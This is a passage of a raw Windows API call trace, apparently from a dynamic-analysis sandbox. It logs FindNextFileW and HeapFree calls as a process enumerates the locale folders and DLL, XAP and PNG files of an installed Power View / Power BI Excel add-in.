ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0104.298] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.298] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0104.299] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.299] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0104.301] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.301] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0104.662] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.662] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0104.664] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.664] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0104.666] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.666] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0104.667] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.667] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0104.669] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.669] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0104.671] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.671] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0104.672] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.672] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0104.674] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.674] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0104.675] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.675] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0104.677] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.677] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0104.679] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.679] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0104.681] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.681] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0104.682] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.682] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0104.684] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.684] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0104.685] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.685] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0104.687] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.687] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0104.689] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.689] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0104.690] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.690] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0104.692] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.692] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0104.693] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.693] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0104.695] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.695] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0104.697] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0104.697] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0105.153] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.153] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0105.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.157] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0105.158] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0105.159] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.159] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0105.161] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.161] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0105.163] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.163] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0105.164] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98ae9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0105.165] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.165] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0105.167] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.167] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0105.169] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.169] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0105.170] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0105.171] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.171] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0105.173] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.173] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0105.175] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0105.175] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdee10 | out: lpFindFileData=0x3cdee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0105.176] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x0, 